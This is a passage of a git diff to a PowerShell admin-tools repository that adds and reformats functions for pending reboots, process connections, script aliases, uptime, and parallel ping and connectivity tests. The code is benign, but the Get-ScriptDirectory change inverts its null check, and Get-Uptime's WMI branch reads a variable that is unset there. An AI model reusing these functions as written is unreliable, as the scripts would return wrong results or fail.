WindowsUpdate = $WUAURebootReq + CCMClientSDK = $SCCM + PendComputerRename = $CompPendRen + PendFileRename = $PendFileRename + PendFileRenVal = $RegValuePFRO + RebootPending = ($CompPendRen -or $CBSRebootPend -or $WUAURebootReq -or $SCCM -or $PendFileRename) + } | Select-Object @SelectSplat + + } + Catch { + Write-Warning "$Computer`: $_" + ## If $ErrorLog, log the file to a user specified location/path + If ($ErrorLog) { + Out-File -InputObject "$Computer`,$_" -FilePath $ErrorLog -Append + } + } + } ## End Foreach ($Computer in $ComputerName) + } ## End Process + + End { } ## End End + +} ## End Function Get-PendingReboot \ No newline at end of file diff --git a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 new file mode 100644 index 00000000..0d1ee012 --- /dev/null +++ b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 @@ -0,0 +1,54 @@ +function Get-ProcessForeignAddress { + <# +.SYNOPSIS + Get all foreignIPAddress for all or specific processname + +.DESCRIPTION + Get all foreignIPAddress for all or specific processname + +.PARAMETER ProcessName + Specifies the ProcessName to filter on + +.EXAMPLE + Get-ProcessForeignAddress + + Retrieve all the foreign addresses + +.EXAMPLE + Get-ProcessForeignAddress chrome + + Show all the foreign address(es) for the process chrome + +.EXAMPLE + Get-ProcessForeignAddress chrome | select ForeignAddress -Unique + + Show all the foreign address(es) for the process chrome and show only the ForeignAddress(es) once + +.NOTES + Author : Francois-Xavier Cat + Website : lazywinadmin.com + Github : github.com/lazywinadmin + Twitter : @lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ($ProcessName) + $netstat = netstat -no + + $Result = $netstat[4..$netstat.count] | + ForEach-Object -Process { + $current = $_.trim() -split '\s+' + + New-Object -TypeName PSobject -Property @{ + ProcessName = (Get-Process -id $current[4]).processname + ForeignAddressIP = ($current[2] -split ":")[0] #-as [ipaddress] + ForeignAddressPort = ($current[2] -split ":")[1] + State = $current[3] + } + } + + if ($ProcessName) { + $result | Where-Object -FilterScript { $_.processname -like "$processname" } + } + else { $Result } +} \ No newline at end of file diff --git a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 new file mode 100644 index 00000000..c093543f --- /dev/null +++ b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 @@ -0,0 +1,74 @@ +function Get-ScriptAlias { + <# + .SYNOPSIS + Function to retrieve the aliases inside a Powershell script file. + + .DESCRIPTION + Function to retrieve the aliases inside a Powershell script file. + Using PowerShell AST Parser we are able to retrieve the functions and cmdlets used in the script. + + .PARAMETER Path + Specifies the path of the script + + .EXAMPLE + Get-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1" | Get-ScriptAlias + + .EXAMPLE + gci C:\LazyWinAdmin -file | Get-ScriptAlias + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM + ( + [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] + [ValidateScript( { Test-Path -Path $_ })] + [Alias("FullName")] + [System.String[]]$Path + ) + PROCESS { + FOREACH ($File in $Path) { + TRY { + # Retrieve file content + $ScriptContent = (Get-Content $File -Delimiter $([char]0)) + + # AST Parsing + $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: + ParseInput($ScriptContent, [ref]$null, [ref]$null) + + # Find Aliases + $AbstractSyntaxTree.FindAll( { $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | + ForEach-Object -Process { + $Command = $_.CommandElements[0] + if ($Alias = Get-Alias | Where-Object -FilterScript { $_.Name -eq $Command }) { + + # Output information + [PSCustomObject]@{ + File = $File + Alias = $Alias.Name + Definition = $Alias.Definition + StartLineNumber = $Command.Extent.StartLineNumber + EndLineNumber = $Command.Extent.EndLineNumber + StartColumnNumber = $Command.Extent.StartColumnNumber + EndColumnNumber = $Command.Extent.EndColumnNumber + StartOffset = $Command.Extent.StartOffset + EndOffset = $Command.Extent.EndOffset + + }#[PSCustomObject] + }#if ($Alias) + }#ForEach-Object + }#TRY + CATCH { + Write-Error -Message $($Error[0].Exception.Message) + } #CATCH + }#FOREACH ($File in $Path) + } #PROCESS +} \ No newline at end of file diff --git a/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 b/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 index 1c2a8823..d4a243e9 100644 --- a/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 +++ b/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 @@ -1,17 +1,18 @@ -function Get-ScriptDirectory -{ -<# +function Get-ScriptDirectory { + <# .SYNOPSIS This function retrieve the current folder path .DESCRIPTION This function retrieve the current folder path +.EXAMPLE + Get-ScriptDirectory +.LINK + https://github.com/lazywinadmin/PowerShell #> - if($hostinvocation -ne $null) - { - Split-Path $hostinvocation.MyCommand.path + if ($null -eq $hostinvocation) { + Split-Path -Path $hostinvocation.MyCommand.path } - else - { - Split-Path $script:MyInvocation.MyCommand.Path + else { + Split-Path -Path $script:MyInvocation.MyCommand.Path } } diff --git a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 index bc176933..ab394dae 100644 --- a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 +++ b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 @@ -1,19 +1,20 @@ -Function Get-StringCharCount -{ - <# - .SYNOPSIS - This function will count the number of characters in a string - .DESCRIPTION - This function will count the number of characters in a string - .EXAMPLE - PS C:\> Get-StringCharCount -String "Hello World" - - 11 - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - #> - PARAM ([String]$String) - ($String -as [Char[]]).count +Function Get-StringCharCount { + <# + .SYNOPSIS + This function will count the number of characters in a string + .DESCRIPTION + This function will count the number of characters in a string + .EXAMPLE + PS C:\> Get-StringCharCount -String "Hello World" + + 11 + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell + #> + PARAM ([String]$String) + ($String -as [Char[]]).count } \ No newline at end of file diff --git a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 index f86ecb12..d8d15beb 100644 --- a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 +++ b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 @@ -1,37 +1,40 @@ -function Get-StringLastDigit -{ +function Get-StringLastDigit { <# - .SYNOPSIS - Get the last digit of a string - .DESCRIPTION - Get the last digit of a string using Regular Expression - .PARAMETER String - Specifies the String to check - .EXAMPLE - PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat5" +.SYNOPSIS + Get the last digit of a string +.DESCRIPTION + Get the last digit of a string using Regular Expression +.PARAMETER String + Specifies the String to check +.EXAMPLE + PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat5" - 5 - .EXAMPLE - PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat" + 5 +.EXAMPLE + PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat" - - .EXAMPLE - PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat" -Verbose + +.EXAMPLE + PS C:\> Get-StringLastDigit -String "Francois-Xavier.cat" -Verbose - - VERBOSE: The following string does not finish by a digit: Francois-Xavier.cat - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + + VERBOSE: The following string does not finish by a digit: Francois-Xavier.cat +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com +.LINK + https://github.com/lazywinadmin/PowerShell #> -[CmdletBinding()] -PARAM($String) - #Check if finish by Digit - if ($String -match "^.*\d$") - { - # Output the last digit - $String.Substring(($String.ToCharArray().count)-1) + [CmdletBinding()] + PARAM($String) + try { + #Check if finish by Digit + if ($String -match "^.*\d$") { + # Output the last digit + $String.Substring(($String.ToCharArray().count) - 1) + } + else { Write-Verbose -Message "The following string does not finish by a digit: $String" } } - else {Write-Verbose -Message "The following string does not finish by a digit: $String"} + catch { $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file diff --git a/TOOL-Get-Uptime/Get-Uptime.ps1 b/TOOL-Get-Uptime/Get-Uptime.ps1 index 0f5863ee..10d23864 100644 --- a/TOOL-Get-Uptime/Get-Uptime.ps1 +++ b/TOOL-Get-Uptime/Get-Uptime.ps1 @@ -1,186 +1,173 @@ -function Get-Uptime -{ +function Get-Uptime { <# - .SYNOPSIS - The function Get-Uptime will get uptime of a local or remote machine. - - .DESCRIPTION - The function Get-Uptime will get uptime of a local or remote machine. - This function is compatible with CIM sessions and alternative credentials. - - .PARAMETER ComputerName - Specifies the computername - - .PARAMETER Credential - Specifies the credential to use - - .PARAMETER CimSession - Specifies one or more existing CIM Session(s) to use - - .EXAMPLE - PS C:\> Get-Uptime -ComputerName DC01 - - .EXAMPLE - PS C:\> Get-Uptime -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - - .EXAMPLE - PS C:\> Get-Uptime -CimSession $Session - - .EXAMPLE - PS C:\> Get-Uptime -CimSession $Session1,$session2,$session3 - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com +.SYNOPSIS + The function Get-Uptime will get uptime of a local or remote machine. + +.DESCRIPTION + The function Get-Uptime will get uptime of a local or remote machine. + This function is compatible with CIM sessions and alternative credentials. + +.PARAMETER ComputerName + Specifies the computername + +.PARAMETER Credential + Specifies the credential to use + +.PARAMETER CimSession + Specifies one or more existing CIM Session(s) to use + +.EXAMPLE + PS C:\> Get-Uptime -ComputerName DC01 + +.EXAMPLE + PS C:\> Get-Uptime -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") + +.EXAMPLE + PS C:\> Get-Uptime -CimSession $Session + +.EXAMPLE + PS C:\> Get-Uptime -CimSession $Session1,$session2,$session3 + +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com +.LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter( - ParameterSetName = "Main", - ValueFromPipeline = $True, - ValueFromPipelineByPropertyName = $True)] - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName=$env:COMPUTERNAME, - - [Parameter(ParameterSetName = "Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession[]]$CimSession - ) - BEGIN - { - # Helper Function - function Get-DefaultMessage - { -<# + [CmdletBinding()] + PARAM ( + [Parameter( + ParameterSetName = "Main", + ValueFromPipeline = $True, + ValueFromPipelineByPropertyName = $True)] + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName = $env:COMPUTERNAME, + + [Parameter(ParameterSetName = "Main")] + [Alias("RunAs")] + [PSCredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = "CimSession")] + [Microsoft.Management.Infrastructure.CimSession[]]$CimSession + ) + BEGIN { + # Helper Function + function Get-DefaultMessage { + <# .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING + Helper Function to show default message used in VERBOSE/DEBUG/WARNING .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages - + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages + .PARAMETER Message - Specifies the message to show + Specifies the message to show .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - PARAM ($Message) - $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage - } - PROCESS - { - IF ($PSBoundParameters['CimSession']) - { - FOREACH ($Cim in $CimSession) - { - $CIMComputer = $($Cim.ComputerName).ToUpper() - - TRY - { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_OperatingSystem" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - Get-Uptime") - $CimResult = Get-CimInstance @CIMSplatting - - # Prepare output - $Uptime = New-TimeSpan -Start $($CimResult.lastbootuptime) -End (get-date) - - $Properties = @{ - ComputerName = $CIMComputer - Days = $Uptime.days - Hours = $Uptime.hours - Minutes = $Uptime.minutes - Seconds = $Uptime.seconds - LastBootUpTime = $CimResult.lastbootuptime - } - - # Output the information - New-Object -TypeName PSObject -Property $Properties - - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() | Out-Null - } - } #FOREACH ($Cim in $CimSessions) - } #IF ($PSBoundParameters['CimSession']) - ELSE - { - FOREACH ($Computer in $ComputerName) - { - $Computer = $Computer.ToUpper() - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - Class = "Win32_OperatingSystem" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.credential = $Credential - } - - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Getting Uptime") - $result = Get-WmiObject @Splatting - - - # Prepare output - $HumanTimeFormat = $Result.ConvertToDateTime($Result.Lastbootuptime) - $Uptime = New-TimeSpan -Start $HumanTimeFormat -End $(get-date) - - $Properties = @{ - ComputerName = $Computer - Days = $Uptime.days - Hours = $Uptime.hours - Minutes = $Uptime.minutes - Seconds = $Uptime.seconds - LastBootUpTime = $CimResult.lastbootuptime - } - # Output the information - New-Object -TypeName PSObject -Property $Properties - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - } #ELSE (Not CIM) - }#PROCESS + PARAM ($Message) + $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Output "[$DateFormat][$FunctionName] $Message" + }#Get-DefaultMessage + } + PROCESS { + IF ($PSBoundParameters['CimSession']) { + FOREACH ($Cim in $CimSession) { + $CIMComputer = $($Cim.ComputerName).ToUpper() + + TRY { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_OperatingSystem" + CimSession = $Cim + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - Get-Uptime") + $CimResult = Get-CimInstance @CIMSplatting + + # Prepare output + $Uptime = New-TimeSpan -Start $($CimResult.lastbootuptime) -End (Get-Date) + + $Properties = @{ + ComputerName = $CIMComputer + Days = $Uptime.days + Hours = $Uptime.hours + Minutes = $Uptime.minutes + Seconds = $Uptime.seconds + LastBootUpTime = $CimResult.lastbootuptime + } + + # Output the information + New-Object -TypeName PSObject -Property $Properties + + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY { + $CIMSplatting.Clear() | Out-Null + } + } #FOREACH ($Cim in $CimSessions) + } #IF ($PSBoundParameters['CimSession']) + ELSE { + FOREACH ($Computer in $ComputerName) { + $Computer = $Computer.ToUpper() + + TRY { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) { + $Splatting = @{ + Class = "Win32_OperatingSystem" + ComputerName = $Computer + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.credential = $Credential + } + + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Getting Uptime") + $result = Get-WmiObject @Splatting + + + # Prepare output + $HumanTimeFormat = $Result.ConvertToDateTime($Result.Lastbootuptime) + $Uptime = New-TimeSpan -Start $HumanTimeFormat -End $(Get-Date) + + $Properties = @{ + ComputerName = $Computer + Days = $Uptime.days + Hours = $Uptime.hours + Minutes = $Uptime.minutes + Seconds = $Uptime.seconds + LastBootUpTime = $CimResult.lastbootuptime + } + # Output the information + New-Object -TypeName PSObject -Property $Properties + } + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } + FINALLY { + $Splatting.Clear() + } + }#FOREACH + } #ELSE (Not CIM) + }#PROCESS }#Function \ No newline at end of file diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 new file mode 100644 index 00000000..967a7dc9 --- /dev/null +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -0,0 +1,856 @@ +Function Invoke-Ping { + <# +.SYNOPSIS + Ping or test connectivity to systems in parallel + +.DESCRIPTION + Ping or test connectivity to systems in parallel + + Default action will run a ping against systems + If Quiet parameter is specified, we return an array of systems that responded + If Detail parameter is specified, we test WSMan, RemoteReg, RPC, RDP and/or SMB + +.PARAMETER ComputerName + One or more computers to test + +.PARAMETER Quiet + If specified, only return addresses that responded to Test-Connection + +.PARAMETER Detail + Include one or more additional tests as specified: + WSMan via Test-WSMan + RemoteReg via Microsoft.Win32.RegistryKey + RPC via WMI + RDP via port 3389 + SMB via \\ComputerName\C$ + * All tests + +.PARAMETER Timeout + Time in seconds before we attempt to dispose an individual query. Default is 20 + +.PARAMETER Throttle + Throttle query to this many parallel runspaces. Default is 100. + +.PARAMETER NoCloseOnTimeout + Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out + + This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. + +.EXAMPLE + Invoke-Ping Server1, Server2, Server3 -Detail * + + # Check for WSMan, Remote Registry, Remote RPC, RDP, and SMB (via C$) connectivity against 3 machines + +.EXAMPLE + $Computers | Invoke-Ping + + # Ping computers in $Computers in parallel + +.EXAMPLE + $Responding = $Computers | Invoke-Ping -Quiet + + # Create a list of computers that successfully responded to Test-Connection + +.LINK + https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a + +.FUNCTIONALITY + Computers + +.NOTES + Warren F + http://ramblingcookiemonster.github.io/Invoke-Ping/ + +.LINK + https://github.com/lazywinadmin/PowerShell + +#> + [cmdletbinding(DefaultParameterSetName = 'Ping')] + param ( + [Parameter(ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + Position = 0)] + [string[]]$ComputerName, + + [Parameter(ParameterSetName = 'Detail')] + [validateset("*", "WSMan", "RemoteReg", "RPC", "RDP", "SMB")] + [string[]]$Detail, + + [Parameter(ParameterSetName = 'Ping')] + [switch]$Quiet, + + [int]$Timeout = 20, + + [int]$Throttle = 100, + + [switch]$NoCloseOnTimeout + ) + Begin { + + #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 + function Invoke-Parallel { + [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')] + Param ( + [Parameter(Mandatory = $false, position = 0, ParameterSetName = 'ScriptBlock')] + [System.Management.Automation.ScriptBlock]$ScriptBlock, + + [Parameter(Mandatory = $false, ParameterSetName = 'ScriptFile')] + [ValidateScript( { Test-Path $_ -pathtype leaf })] + $ScriptFile, + + [Parameter(Mandatory = $true, ValueFromPipeline = $true)] + [Alias('CN', '__Server', 'IPAddress', 'Server', 'ComputerName')] + [PSObject]$InputObject, + + [PSObject]$Parameter, + + [switch]$ImportVariables, + + [switch]$ImportModules, + + [int]$Throttle = 20, + + [int]$SleepTimer = 200, + + [int]$RunspaceTimeout = 0, + + [switch]$NoCloseOnTimeout = $false, + + [int]$MaxQueue, + + [validatescript( { Test-Path (Split-Path $_ -parent) })] + [string]$LogFile = "C:\temp\log.log", + + [switch]$Quiet = $false + ) + + Begin { + + #No max queue specified? Estimate one. + #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function + if (-not $PSBoundParameters.ContainsKey('MaxQueue')) { + if ($RunspaceTimeout -ne 0) { $script:MaxQueue = $Throttle } + else { $script:MaxQueue = $Throttle * 3 } + } + else { + $script:MaxQueue = $MaxQueue + } + + Write-Verbose -Message "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" + + #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items + if ($ImportVariables -or $ImportModules) { + $StandardUserEnv = [powershell]::Create().addscript( { + + #Get modules and snapins in this clean runspace + $Modules = Get-Module | Select-Object -ExpandProperty Name + $Snapins = Get-PSSnapin | Select-Object -ExpandProperty Name + + #Get variables in this clean runspace + #Called last to get vars like $? into session + $Variables = Get-Variable | Select-Object -ExpandProperty Name + + #Return a hashtable where we can access each. + @{ + Variables = $Variables + Modules = $Modules + Snapins = $Snapins + } + }).invoke()[0] + + if ($ImportVariables) { + #Exclude common parameters, bound parameters, and automatic variables + Function _temp { + [cmdletbinding()] + param () + } + $VariablesToExclude = @((Get-Command _temp | Select-Object -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) + Write-Verbose -Message "Excluding variables $(($VariablesToExclude | Sort-Object) -join ", ")" + + # we don't use 'Get-Variable -Exclude', because it uses regexps. + # One of the veriables that we pass is '$?'. + # There could be other variables with such problems. + # Scope 2 required if we move to a real module + $UserVariables = @(Get-Variable | Where-Object -FilterScript { -not ($VariablesToExclude -contains $_.Name) }) + Write-Verbose -Message "Found variables to import: $(($UserVariables | Select-Object -expandproperty Name | Sort-Object) -join ", " | Out-String).`n" + + } + + if ($ImportModules) { + $UserModules = @(Get-Module | Where-Object -FilterScript { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select-Object -ExpandProperty Path) + $UserSnapins = @(Get-PSSnapin | Select-Object -ExpandProperty Name | Where-Object { $StandardUserEnv.Snapins -notcontains $_ }) + } + } + + #region functions + + Function Get-RunspaceData { + [cmdletbinding()] + param ([switch]$Wait) + + #loop through runspaces + #if $wait is specified, keep looping until all complete + Do { + + #set more to false for tracking completion + $more = $false + + #Progress bar if we have inputobject count (bound parameter) + if (-not $Quiet) { + Write-Progress -Activity "Running Query" -Status "Starting threads"` + -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` + -PercentComplete $(Try { $script:completedCount / $totalCount * 100 } + Catch { 0 }) + } + + #run through each runspace. + Foreach ($runspace in $runspaces) { + + #get the duration - inaccurate + $currentdate = Get-Date + $runtime = $currentdate - $runspace.startTime + $runMin = [math]::Round($runtime.totalminutes, 2) + + #set up log object + $log = "" | Select-Object Date, Action, Runtime, Status, Details + $log.Action = "Removing:'$($runspace.object)'" + $log.Date = $currentdate + $log.Runtime = "$runMin minutes" + + #If runspace completed, end invoke, dispose, recycle, counter++ + If ($runspace.Runspace.isCompleted) { + + $script:completedCount++ + + #check if there were errors + if ($runspace.powershell.Streams.Error.Count -gt 0) { + + #set the logging info and move the file to completed + $log.status = "CompletedWithErrors" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + foreach ($ErrorRecord in $runspace.powershell.Streams.Error) { + Write-Error -ErrorRecord $ErrorRecord + } + } + else { + + #add logging details and cleanup + $log.status = "Completed" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + } + + #everything is logged, clean up the runspace + $runspace.powershell.EndInvoke($runspace.Runspace) + $runspace.powershell.dispose() + $runspace.Runspace = $null + $runspace.powershell = $null + + } + + #If runtime exceeds max, dispose the runspace + ElseIf ($runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { + + $script:completedCount++ + $timedOutTasks = $true + + #add logging details and cleanup + $log.status = "TimedOut" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | Out-String)" + + #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance + if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } + $runspace.Runspace = $null + $runspace.powershell = $null + $completedCount++ + + } + + #If runspace isn't null set more to true + ElseIf ($null -ne $runspace.Runspace) { + $log = $null + $more = $true + } + + #log the results if a log file was indicated + if ($logFile -and $log) { + ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -append + } + } + + #Clean out unused runspace jobs + $temphash = $runspaces.clone() + $temphash | + Where-Object -FilterScript { $null -eq $_.runspace } | + ForEach-Object -Process { + $Runspaces.remove($_) + } + + #sleep for a bit if we will loop again + if ($PSBoundParameters['Wait']) { Start-Sleep -milliseconds $SleepTimer } + + #Loop again only if -wait parameter and there are more runspaces to process + } + while ($more -and $PSBoundParameters['Wait']) + + #End of runspace function + } + + #endregion functions + + #region Init + + if ($PSCmdlet.ParameterSetName -eq 'ScriptFile') { + $ScriptBlock = [scriptblock]::Create($(Get-Content $ScriptFile | Out-String)) + } + elseif ($PSCmdlet.ParameterSetName -eq 'ScriptBlock') { + #Start building parameter names for the param block + [string[]]$ParamsToAdd = '$_' + if ($PSBoundParameters.ContainsKey('Parameter')) { + $ParamsToAdd += '$Parameter' + } + + $UsingVariableData = $Null + + + # This code enables $Using support through the AST. + # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! + + if ($PSVersionTable.PSVersion.Major -gt 2) { + #Extract using references + $UsingVariables = $ScriptBlock.ast.FindAll( { $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] }, $True) + + If ($UsingVariables) { + $List = New-Object -TypeName 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' + ForEach ($Ast in $UsingVariables) { + [void]$list.Add($Ast.SubExpression) + } + + $UsingVar = $UsingVariables | Group-Object -Property Parent | ForEach-Object -Process { $_.Group | Select-Object -First 1 } + + #Extract the name, value, and create replacements for each + $UsingVariableData = ForEach ($Var in $UsingVar) { + Try { + $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop + $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + [pscustomobject]@{ + Name = $Var.SubExpression.Extent.Text + Value = $Value.Value + NewName = $NewName + NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + } + $ParamsToAdd += $NewName + } + Catch { + Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" + } + } + + $NewParams = $UsingVariableData.NewName -join ', ' + $Tuple = [Tuple]::Create($list, $NewParams) + $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" + $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl', $bindingFlags)) + + $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast, @($Tuple)) + + $ScriptBlock = [scriptblock]::Create($StringScriptBlock) + + Write-Verbose $StringScriptBlock + } + } + + $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) + } + else { + Throw "Must provide ScriptBlock or ScriptFile"; Break + } + + Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" + Write-Verbose -Message "Creating runspace pool and session states" + + #If specified, add variables and modules/snapins to session state + $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + if ($ImportVariables) { + if ($UserVariables.count -gt 0) { + foreach ($Variable in $UserVariables) { + $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null)) + } + } + } + if ($ImportModules) { + if ($UserModules.count -gt 0) { + foreach ($ModulePath in $UserModules) { + $sessionstate.ImportPSModule($ModulePath) + } + } + if ($UserSnapins.count -gt 0) { + foreach ($PSSnapin in $UserSnapins) { + [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) + } + } + } + + #Create runspace pool + $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) + $runspacepool.Open() + + Write-Verbose -Message "Creating empty collection to hold runspace jobs" + $Script:runspaces = New-Object -TypeName System.Collections.ArrayList + + #If 